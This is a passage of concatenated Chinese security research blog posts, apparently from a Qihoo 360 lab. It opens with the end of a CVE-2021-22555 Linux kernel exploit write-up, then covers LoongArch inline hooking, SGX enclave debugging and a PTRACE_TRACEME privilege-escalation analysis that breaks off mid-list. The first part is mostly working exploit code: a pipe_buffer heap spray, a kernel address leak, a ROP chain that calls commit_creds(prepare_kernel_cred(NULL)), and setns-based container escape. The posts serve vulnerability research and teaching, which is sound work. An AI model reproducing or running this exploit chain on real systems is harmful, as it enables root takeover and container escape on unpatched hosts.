// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

struct pipe_buf_operations {
...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
...
};

pipe_buffer的成员ops指向一个位于内核.data段的数据结构anon_pipe_buf_ops,它将是接下来的泄露目标。

而且,ops指向的数据结构包含很多跟管道操作相关的函数指针,其中一个是release,它所指向的函数将在释放管道时被调用。那么,通过篡改ops指向伪造的pipe_buf_operations结构,在释放管道时就可以劫持控制流。

为泄露内核.data段的地址,将进行以下步骤:

  1. 通过向多个管道写入数据让内核构造多个pipe_buffer结构体的实例,其中一个实例将占据关键缓冲区。此时内存布局如下:

  1. 读取socket,获得anon_pipe_buf_ops的地址,也就是获得了内核.data段地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}

printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}

kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);

此时关键缓冲区已被释放,内存布局如下:

3.4 提权和容器逃逸

先通过写入socket构造伪pipe_buffer,让ops指针指向在关键缓冲区伪造的pipe_buf_operations,其中的release指针指向跟栈迁移相关的内核.text段的gadget。

同时,在关键缓冲区构造ROP链依序执行以下任务:

  1. 保存RBP。
  2. 执行commit_creds(prepare_kernel_cred(NULL)),这一步是为了获得root权限。
  3. 执行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),这一步在容器环境中才有用,否则只是冗余步骤,作用是pid为1的进程的名称空间替换为容器初始化时的全局名称空间init_nsproxy,init_nsproxy名称空间可以访问宿主机的文件系统。
  4. 恢复RBP并恢复正常执行流程。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;

void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;

*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;

rop = (uint64_t *)&buf[0xD8];

// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // RBP

// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;

// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;

// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
}

释放管道,执行release所指向的gadget,将内核栈迁移到关键缓冲区构造的ROP链处,然后执行完整个ROP链,实现提权。

1
2
3
4
5
6
7
8
9
10
11
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}

最后,将当前进程的名称空间替换成1号进程的,而1号进程的名称空间已经替换成容器初始化时的全局名称空间init_nsproxy,由此实现容器逃逸。

1
2
3
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);

参考文献

CVE-2021-22555: Turning \x00\x00 into 10000$

CVE-2021-22555 - The MITRE Corporation

CVE-2021-22555 linux内核提权

隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现

CVE-2021-22555 2字节堆溢出写0漏洞提权分析

namespaces(7) — Linux manual page

The Route to Root: Container Escape Using Kernel Exploitation

Linux Kernel universal heap spray

LoongArch 研究小记(一)

author: xiongxiao ([email protected]), jiayy ([email protected])

LoongArch

目前世界上主要的指令集架构有 MIPS, X86, Power, Alpha, ARM 等,除了 ARM 是英国的其余都是美国的。国内的芯片厂商龙芯,君正,兆芯,海光,申威,飞腾,海思,展讯,华芯通等购买相应授权并开发相应芯片产品,这就是目前芯片市场的情况,可以说脖子被卡得死死的。

2021.04.30,龙芯自主指令系统LoongArch基础架构手册正式发布 ,号称从顶层架构,到指令功能和 ABI 标准等,全部自主设计,不需国外授权。2021.07.23, 基于自主指令集 LA 架构的 新一代处理器龙芯3A5000正式发布 ,据称 spec 2006评分达到26分,接近30分的一代锐龙。

我们小组及时跟进研究了 LA 的手册,并在 3A5000 设备上开发了相应的产品。在这过程中发现网上对这一新生事物缺乏资料(除了官方的),遂写了本篇小记。

inline Hook

其中一个任务是实现 LA 上的 inline hook 。指令手册主要参考:

  • 第二章 基础整数指令, 解释指令格式和功能
  • 附录B 指令码一览, 指令的二进制编码方式

寄存器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
基础整数指令涉及的寄存器包括通用寄存器(General-purpose Register,简称 GR) 和 程序记数寄存器(Program Counter,简称PC)

通用寄存器GR有32个,记为r0~r31, 其中 0 号寄存器r0的值恒为 0。

GR 的位宽记做 GRLEN。LA32 32bit, LA64 64bit。

在标准的龙芯架构应用程序二进制接口(Application Binary Interfac, 简称ABI) 中,r1 固定作为存放函数调用返回地址的寄存器。

其中GR包括 r0 ... r31 共32个

PC 只有1个,记录当前指令的地址。

PC 寄存器不能被指令直接修改,只能被转移指令、例外陷入和例外返回指令间接修改。

可以作为一些非转移类指令的源操作数直接读取。
(以上内容全部摘自指令手册)

补充:
根据LoongArch ABI,寄存器功能的更细的划分如下:

1
2
3
4
5
6
7
8
9
R0 : 永 远 为0
R1 : ra 返 回 地 址
R2 : tp , 线 程 指 针
R3 : sp , 栈 指 针
R4−R11: 参 数a0−a7 , a0/a1 返 回
R12−R20 : t0−t8 临 时 寄 存 器
R21 : r e s e r v e
R22 : fp
R23−R31 : s0−s8 c a l l e e

指令

这里通过BEQ指令说明如何查询手册,快速获得这条指令相关的信息

1
2
3
4
5
6
7
8
# 在附录中可以找到指令的编码
BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd

# 在第二章可以找到指令的功能解释以及编码含义
BEQ 将通用寄存器 rj 和通用寄存器 rd 的值进行比较,如果两者相等则跳转到目标地址,否则不跳转

if GR[rj] == GR[rd] :
PC = PC + SignExtend(offs16, 2'b0}, GRLEN)

伪代码中 SignExtend(offs16, 2’b0}, GRLEN) 的含义是offs16 左移两位,然后符号扩展到GRLEN(LA64下 即64位)

关于符号扩展Wiki,C实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 依赖 >> 符号本身就是符号扩展的特性,可以简单实现为
long sign_extend(long off, int bits){
return ((off << (64 - bits)) >> (64 - bits));
}

// 不依赖 << 符号
#include <stdio.h>

long sign_extend(long off, unsigned int bits){
long sign_mask = 1UL << (bits - 1); // bit[bits - 1] 为 1,其他位全部为 0
long pos_mask = (1UL << bits) - 1; // bit[0:bits] 全部为 1, bit[bits: 63] 全部为0
long neg_mask = ~((1UL << bits) - 1); // bit[0:bits] 全部为 0, bit[bits: 63] 全部为1

if(off & sign_mask){
// 符号位为 1, 保证扩展后的高位全部为 1
return off | neg_mask;
}else{
// 符号位为 0, 保证扩展后的高位全部为 0
return off & pos_mask;
}
}

int main(){
printf("0x%lx\n", sign_extend(0x80, 8)); // 0xffffffffffffff80
printf("0x%lx\n", sign_extend(0x80, 9)); // 0x80
}

PC 相对寻址指令替换

inline hook 的主要工作之一就是修复这类指令,即计算出正确的地址,然后通过其他指令替换

LoongArch64 中的PC相对寻址指令如下:

算数运算指令

1
2
3
4
PCADDI rd, si20 	| 0 0 0 1 1 0 0 si20 rd
PCALAU12I rd, si20 | 0 0 0 1 1 0 1 si20 rd
PCADDU12I rd, si20 | 0 0 0 1 1 1 0 si20 rd
PCADDU18I rd, si20 | 0 0 0 1 1 1 1 si20 rd

转移指令

1
2
3
4
5
6
7
8
9
10
11
BEQZ rj, offs 		| 0 1 0 0 0 0 offs[15:0] rj offs[20:16]
BNEZ rj, offs | 0 1 0 0 0 1 offs[15:0] rj offs[20:16]
BCEQZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 0 cj offs[20:16]
BCNEZ cj, offs | 0 1 0 0 1 0 offs[15:0] 0 1 cj offs[20:16]
# JIRL rd, rj, offs | 0 1 0 0 1 1 offs[15:0] rj rd (唯一一个不是PC相对寻址的转移指令)
B offs | 0 1 0 1 0 0 offs[15:0] offs[25:16]
BL offs | 0 1 0 1 0 1 offs[15:0] offs[25:16]
BEQ rj, rd, offs | 0 1 0 1 1 0 offs[15:0] rj rd
BNE rj, rd, offs | 0 1 0 1 1 1 offs[15:0] rj rd
BLT rj, rd, offs | 0 1 1 0 0 0 offs[15:0] rj rd
BGE rj, rd, offs | 0 1 1 0 0 1 offs[15:0] rj rd

对这两类的指令替换方案如下:

1
2
3
4
5
6
7
pcaddi [target_reg], si20 替换为:

PCADDI r17, 12/4 # 将 pc + 12 存放到 r17 临时寄存器
LD.D [target_reg], r17, 0 # 取出 r17 地址处的 8 个字节保存到 target_reg
B 12/4 # 跳过存放地址的8个字节,即 pc += 12,由于指令会对偏移移位,所以要12/4
IMM[ 0: 31] # 基于原指令pc 计算得到的结果低32bit
IMM[32: 63] # 基于原指令pc 计算得到的结果高32bit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
b offs 替换为:

PCADDI R17, 12/4 # 将 pc + 12 存放到 r17 临时寄存器
LD.D R17, R17, 0 # 取出 r17 地址处的 8 个字节保存到 r17
JIRL R0, R17, 0 # 跳转到 r17 保存的地址处
TO_ADDR[0 : 31] # 基于原指令pc 计算得到的跳转地址低32bit
TO_ADDR[32: 63] # 基于原指令pc 计算得到的跳转地址高32bit

# 条件跳转类的替换方式如下:
BEQ rj, rd, offs 替换为:

BNE rj, rd, 24/4
PCADDI R17, 12/4
LD.D R17, R17, 0
JIRL R0, R17, 0
TO_ADDR[0 : 31]
TO_ADDR[32: 63]

r1寄存器

有时函数栈的切换不会把返回值压栈,而是直接使用r1寄存器

经测试,当一个函数没有调用子函数的时候,不会把 r1 压栈

开启gcc 编译优化也会省去压栈操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// main.c
int func1(int a, int b){
return a + b;
}

int func2(int a, int b){
return func1(a, b) + 10;
}

int main(int argc, char *argv[]){
func1(100, 200);
func2(100, 200);

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ gcc main.c -g
$ gdb a.out
(gdb) disassemble func1
Dump of assembler code for function func1:
0x0000000120000650 <+0>: addi.d $r3,$r3,-32(0xfe0)
0x0000000120000654 <+4>: st.d $r22,$r3,24(0x18)
0x0000000120000658 <+8>: addi.d $r22,$r3,32(0x20)
0x000000012000065c <+12>: move $r13,$r4
0x0000000120000660 <+16>: move $r12,$r5
0x0000000120000664 <+20>: slli.w $r13,$r13,0x0
0x0000000120000668 <+24>: st.w $r13,$r22,-20(0xfec)
0x000000012000066c <+28>: slli.w $r12,$r12,0x0
0x0000000120000670 <+32>: st.w $r12,$r22,-24(0xfe8)
0x0000000120000674 <+36>: ld.w $r13,$r22,-20(0xfec)
0x0000000120000678 <+40>: ld.w $r12,$r22,-24(0xfe8)
0x000000012000067c <+44>: add.w $r12,$r13,$r12
0x0000000120000680 <+48>: move $r4,$r12
0x0000000120000684 <+52>: ld.d $r22,$r3,24(0x18)
0x0000000120000688 <+56>: addi.d $r3,$r3,32(0x20)
0x000000012000068c <+60>: jirl $r0,$r1,0
End of assembler dump.
(gdb) disassemble func2
Dump of assembler code for function func2:
0x0000000120000690 <+0>: addi.d $r3,$r3,-32(0xfe0)
0x0000000120000694 <+4>: st.d $r1,$r3,24(0x18)
...
0x00000001200006d8 <+72>: ld.d $r1,$r3,24(0x18)
0x00000001200006dc <+76>: ld.d $r22,$r3,16(0x10)
0x00000001200006e0 <+80>: addi.d $r3,$r3,32(0x20)
0x00000001200006e4 <+84>: jirl $r0,$r1,0
End of assembler dump.
1
2
3
4
5
6
7
8
9
10
11
12
$ gcc main.c -O2 -g
$ gdb a.out
Dump of assembler code for function func1:
0x0000000120000658 <+0>: add.w $r4,$r4,$r5
0x000000012000065c <+4>: jirl $r0,$r1,0
End of assembler dump.
(gdb) disassemble func2
Dump of assembler code for function func2:
0x0000000120000660 <+0>: add.w $r4,$r4,$r5
0x0000000120000664 <+4>: addi.w $r4,$r4,10(0xa)
0x0000000120000668 <+8>: jirl $r0,$r1,0
End of assembler dump.

用户态Hook

简单实现,不处理pc相对寻址的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define JUMP_CODE_SIZE 20

int (*func_ptr)(int, int, int);

int func(int a, int b, int c){
if(a == 0){
return 0;
}
printf("%s-%d: %d\n", __func__, __LINE__, a+b+c);
return a+b+c;
}

int hook_handler(int a, int b, int c){
printf("%s-%d: %d, %d, %d\n", __func__, __LINE__, a, b, c);
func_ptr(a, b, c);
return 0;
}

static char *do_jump(char *from, char *to) {
int rd, rj, off;
int inst_pcaddi, inst_jirl, inst_ld_d;
int to_addr_low, to_addr_high;

// PCADDI rd, si20 | 0 0 0 1 1 0 0 si20 rd
rd = 17;
off = 12 >> 2;
inst_pcaddi = 0x0c << (32 - 7) | off << 5 | rd ;

// LD.D rd, rj, si12 | 0 0 1 0 1 0 0 0 1 1 si12 rj rd
rd = 17;
rj = 17;
off = 0;
inst_ld_d = 0xa3 << 22 | off << 10 | rj << 5 | rd ;

// JIRL rd, rj, offs | 0 1 0 0 1 1 offs[15:0] rj rd
rd = 0;
rj = 17;
off = 0;
inst_jirl = 0x13 << 26 | off << 10 | rj << 5| rd;

to_addr_low = (int)((long)to & 0xffffffff);
to_addr_high = (int)((long)to >> 32);

*(int *)from = inst_pcaddi;
*(int *)(from + 4) = inst_ld_d;
*(int *)(from + 8) = inst_jirl;
*(int *)(from + 12) = to_addr_low;
*(int *)(from + 16) = to_addr_high;

return from + 20;
}

#define PAGE_MASK (~(page_size-1))
void post_hook(void *target, void *handler){

int page_size = sysconf(_SC_PAGE_SIZE);

int stolen = JUMP_CODE_SIZE;

char *trampoline = mmap(NULL, 128, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0);

// turn [ trampoline pointer ] into [ hook target function pointer ]
func_ptr = (int (*)(int, int, int))trampoline;

// copy changed inst [ target: target+stolen ]
memcpy(trampoline, target, stolen);

// jump from [ trampoline + stolen ] to [ target + stolen ]
do_jump(trampoline+stolen, target+stolen);

// [ target ] jump to [ handler ]
// 没有这个mprotect调用会出现段错误
mprotect((void*)((long)target & PAGE_MASK), page_size, PROT_READ|PROT_WRITE|PROT_EXEC);
do_jump(target, handler);

};

int main(int argc, char *argv[]){
post_hook((void *)func, (void *)hook_handler);
func(100, 200, 300);
return 0;

}

内核态Hook

我们实现了完整的处理各种异常条件的内核 LA inlineHook, 暂不公开

反汇编器

有LoongArch64 机器的情况下,直接用gdb就可以做到

用一个简单的脚本实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3
import os

opcodes = ",".join(hex(i) for i in [0x28c0208c, 0x28c0c18c, 0x24000d8c, 0x0348018c, 0x44008980])

c_code = """
int opcodes[] = { %s };
void main() { ((void (*)() )opcodes)(); }
""" % opcodes

with open("main.c", 'w') as f:
f.write(c_code)

os.system("gcc main.c -g")
os.system("gdb -batch -ex 'file a.out' -ex 'disassemble/rs opcodes'")
os.system("rm main.c a.out")

效果如下:

1
2
3
4
5
6
7
8
$ ./t.py
Dump of assembler code for function opcodes:
0x0000000120008000 <+0>: 8c 20 c0 28 ld.d $r12,$r4,8(0x8)
0x0000000120008004 <+4>: 8c c1 c0 28 ld.d $r12,$r12,48(0x30)
0x0000000120008008 <+8>: 8c 0d 00 24 ldptr.w $r12,$r12,12(0xc)
0x000000012000800c <+12>: 8c 01 48 03 andi $r12,$r12,0x200
0x0000000120008010 <+16>: 80 89 00 44 bnez $r12,136(0x88) # 0x120008098
End of assembler dump.

在没有 LoongArch64 机器的情况下,需要用软件(反汇编器)实现 LA 指令的反汇编,为了达到这个目的,我们正在开发支持 LA 的反汇编器,后续合适的时机可能会公开。

参考

LoongArch64 指令手册

LoongArch 指令集介绍.pdf

LoongArch 官博

龙芯 github 地址

窥探有方——调试Released SGX Enclave

author : suezi(@suezi86) of IceSword Lab , Qihoo 360

Intel Software Guard Extensions (Intel SGX)是基于CPU扩展的一种革命性的安全技术,旨在提供具有最小攻击面的硬件辅助的可信执行环境。它允许应用程序或应用程序的一部分运行在一个称为Enclave的安全容器中,任何应用程序,包括OS、Hypervisor、BIOS均无法访问其内容。Enclave使用的页面和数据结构由CPU内部的MEE加密存储在EPC中,负责映射Enclave页面的页表由OS管理,但OS无法获取其内容,仅Enclave可访问。然而攻击者总是想方设法以直接或间接的方式来获取数据,比如隐私数据,加密密钥,或者篡改代码的执行流。分析SGX的工作模型,设法将Release版本的Enclave转换成Debug版本,再借助SGX开发套件中的sgx-gdb工具,可实现对SGX Enclave的动态调试,之后便可为所欲为。详见窥探有方——调试Released SGX Enclave

PTRACE_TRACEME 本地提权漏洞解析

author: Gengjia Chen ([email protected]) of IceSword Lab, qihoo 360

PTRACE_TRACEME 漏洞 是 Jann Horn 201907 月发现的内核提权漏洞, 漏洞发现和利用的思路有很多值得学习的地方, 本文记录了个人的学习过程

漏洞补丁

我们从漏洞补丁 ptrace: Fix ->ptracer_cred handling for PTRACE_TRACEME 入手分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Fix two issues:

// 第一个问题,是 cred 的 rcu reference 问题
When called for PTRACE_TRACEME, ptrace_link() would obtain an RCU
reference to the parent's objective credentials, then give that pointer
to get_cred(). However, the object lifetime rules for things like
struct cred do not permit unconditionally turning an RCU reference into
a stable reference.

// 第二个问题,tracee 记录的 tracer 的 cred 的问题
PTRACE_TRACEME records the parent's credentials as if the parent was
acting as the subject, but that's not the case. If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.


Fix both of these by always recording the credentials of the process
that is requesting the creation of the ptrace relationship:
current_cred() can't change under us, and current is the proper subject
for access control.

以上是补丁的描述,以下是补丁的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/ptrace.c b/kernel/ptrace.c
index 8456b6e..705887f 100644
--- a/kernel/ptrace.c
+++ b/kernel/ptrace.c
@@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
*/
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
- rcu_read_lock();
- __ptrace_link(child, new_parent, __task_cred(new_parent));
- rcu_read_unlock();
+ __ptrace_link(child, new_parent, current_cred());
}

从补丁的描述来看,一共修复了 2 个问题

  • 1 是 rcu reference 的问题,对应的代码是删除了 rcu 锁;
  • 2 是 tracee 记录 tracer 进程的 cred 引发的问题

本文不关心第一个问题,只分析可以用于本地提权的第二个问题

从补丁描述看第二个问题比较复杂,我们后面再分析,补丁对应的代码倒是非常简单,
将 ‘__task_cred(new_parent)’ 换成了 ‘current_cred()’, 也就是说记录的 cred 从 tracer 进程的 cred 换成了当前进程的 cred

漏洞分析

ptrace 是一个系统调用,它提供了一种方法来让进程 (tracer) 可以观察和控制其它进程 (tracee) 的执行,检查和改变其核心映像以及寄存器, 主要用来实现断点调试和系统调用跟踪

1
2
3
4
5
6
7
1    396  kernel/ptrace.c <<ptrace_attach>>
ptrace_link(task, current); // link 的双方分别是要 trace 的目标进程 'task'
// 和发动 trace 的当前进程 'current'
2 469 kernel/ptrace.c <<ptrace_traceme>>
ptrace_link(current, current->real_parent); // link 的双方分别是发动 trace 的
// 当前进程 ‘current’ 和当前进程的
// 父进程 ' current->real_parent'

trace 关系的建立有 2 种方式

  • 1 是进程调用 fork 函数然后子进程主动调用 PTRACE_TRACEME, 这是由 tracee 发起的, 对应内核函数 ptrace_traceme
  • 2 是进程调用 PTRACE_ATTACH 或者 PTRACE_SEIZE 去主动 trace 其他进程, 这是由 tracer 发起的, 对应内核函数 ptrace_attach

不管是哪种方式,最后都会调用 ptrace_link 函数去建立 tracer 和 tracee 之间的 trace 关系

  • ptrace_attach 关联的双方是 ‘task’ (tracee) 和 ‘current’ (tracer)
  • ptrace_traceme 关联的双方是 ‘current’ (tracee) 和 ‘current->real_parent’ (tracer)

这里我们要仔细记住上面 2 种模式下 tracer 和 tracee 分别是什么,因为这就是漏洞的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
rcu_read_lock();
__ptrace_link(child, new_parent, __task_cred(new_parent));
rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
const struct cred *ptracer_cred)
{
BUG_ON(!list_empty(&child->ptrace_entry));
list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. 将自己加入父进程的 ptraced 队列
child->parent = new_parent; // 2. 将父进程地址保存在 parent 指针
child->ptracer_cred = get_cred(ptracer_cred); // 3. 保存 ptracer_cred, 我们只关注这个变量
}

建立 trace 关系的关键是由 tracee 记录 tracer 的 cred, 保存在 tracee 的 ‘ptracer_cred’ 变量,这个变量名很顾名思义

ptracer_cred 这个概念是由 2016 年的一个补丁 ptrace: Capture the ptracer’s creds not PT_PTRACE_CAP 引入的, 引入 ptracer_cred 的目的是用于当 tracee 执行 exec 去加载 setuid executable 时做安全检测

为什么需要这个安全检测呢?

exec 函数族可以更新进程的镜像, 如果被执行文件的 setuid 位 置位,则运行这个可执行文件时,进程的 euid 会被修改成该可执行文件的所有者的 uid, 如果可执行文件的所有者权限比调用 exec 的进程高, 运行这类 setuid executable 会有提权的效果

假如执行 exec 的进程本身是一个 tracee, 当它执行了 setuid executable 提权之后,由于 tracer 可以随时修改 tracee 的寄存器和内存,这时候低权限的 tracer 就可以控制 tracee 去执行越权操作

作为内核,显然是不允许这样的越权行为存在的,所以当 trace 关系建立时, tracee 需要保存 tracer 的 cred (即 ptracer_cred), 然后在执行 exec 过程中, 如果发现执行的可执行程序是 setuid 位 置位的, 则会判断 ‘ptracer_cred’ 的权限, 如果权限不满足,将不会执行 setuid 位 的提权, 而是以原有的进程权限执行这个 setuid executable

这个过程的代码分析如下(本文的代码分析基于 v4.19-rc8)

1
2
3
4
5
6
7
8
9
10
11
do_execve
-> __do_execve_file
-> prepare_binprm
-> bprm_fill_uid
-> security_bprm_set_creds
->cap_bprm_set_creds
-> ptracer_capable
->selinux_bprm_set_creds
->(apparmor_bprm_set_creds)
->(smack_bprm_set_creds)
->(tomoyo_bprm_set_creds)

如上,execve 权限相关的操作主要在函数 ‘prepare_binprm’ 里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569 int retval;
1570 loff_t pos = 0;
1571
1572 bprm_fill_uid(bprm); // <-- 初步填充新进程的 cred
1573
1574 /* fill in binprm security blob */
1575 retval = security_bprm_set_creds(bprm); // <-- 安全检测,
// 可能会修改新进程的 cred
1576 if (retval)
1577 return retval;
1578 bprm->called_set_creds = 1;
1579
1580 memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581 return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

如上,先调用 ‘bprm_fill_uid’ 初步填充新进程的 cred, 再调用 ‘security_bprm_set_creds’ 做安全检测并修改新的 cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
1509 static void bprm_fill_uid(struct linux_binprm *bprm)
1510 {
1511 struct inode *inode;
1512 unsigned int mode;
1513 kuid_t uid;
1514 kgid_t gid;
1515
1516 /*
1517 * Since this can be called multiple times (via prepare_binprm),
1518 * we must clear any previous work done when setting set[ug]id
1519 * bits from any earlier bprm->file uses (for example when run
1520 * first for a setuid script then again for its interpreter).
1521 */
1522 bprm->cred->euid = current_euid(); // <--- 先使用本进程的euid
1523 bprm->cred->egid = current_egid();
1524
1525 if (!mnt_may_suid(bprm->file->f_path.mnt))
1526 return;
1527
1528 if (task_no_new_privs(current))
1529 return;
1530
1531 inode = bprm->file->f_path.dentry->d_inode;
1532 mode = READ_ONCE(inode->i_mode);
1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- 如果可执行文件没有 setuid/setgid 位,这里就可以返回了
1534 return;
1535
1536 /* Be careful if suid/sgid is set */
1537 inode_lock(inode);
1538
1539 /* reload atomically mode/uid/gid now that lock held */
1540 mode = inode->i_mode;
1541 uid = inode->i_uid; // <---- 如果文件 S_ISUID 置位,使用文件的 i_uid
1542 gid = inode->i_gid;
1543 inode_unlock(inode);
1544
1545 /* We ignore suid/sgid if there are no mappings for them in the ns */
1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) ||
1547 !kgid_has_mapping(bprm->cred->user_ns, gid))
1548 return;
1549
1550 if (mode & S_ISUID) {
1551 bprm->per_clear |= PER_CLEAR_ON_SETID;
1552 bprm->cred->euid = uid; // <------ 使用文件的 i_uid 作为新进程的 euid
1553 }
1554
1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) {
1556 bprm->per_clear |= PER_CLEAR_ON_SETID;
1557 bprm->cred->egid = gid;
1558 }
1559 }

如上, 主要看两行

  • 1522 行, 将当前的 euid 赋值新的 euid, 所以大部分执行了 execve 的进程的权限跟原来的一样
  • 1552 行,如果带有 suid bit, 则将可执行文件的所有者的 uid 赋值新的 euid, 这就是所谓 setuid 的实现, 新的 euid 变成了它执行的可执行文件所有者的 uid, 如果所有者是特权用户, 这里就实现了提权

但是,这里的 euid 依然不是最终的结果, 还需要进入函数 security_bprm_set_creds 做进一步的安全检测

security_bprm_set_creds 函数调用的是 LSM 框架

在我分析的内核版本上, 实现 ‘bprm_set_creds’ 这个 hook 点安全检测的 lsm 框架有 5 种, 检测函数如下,

  • cap_bprm_set_creds
  • selinux_bprm_set_creds
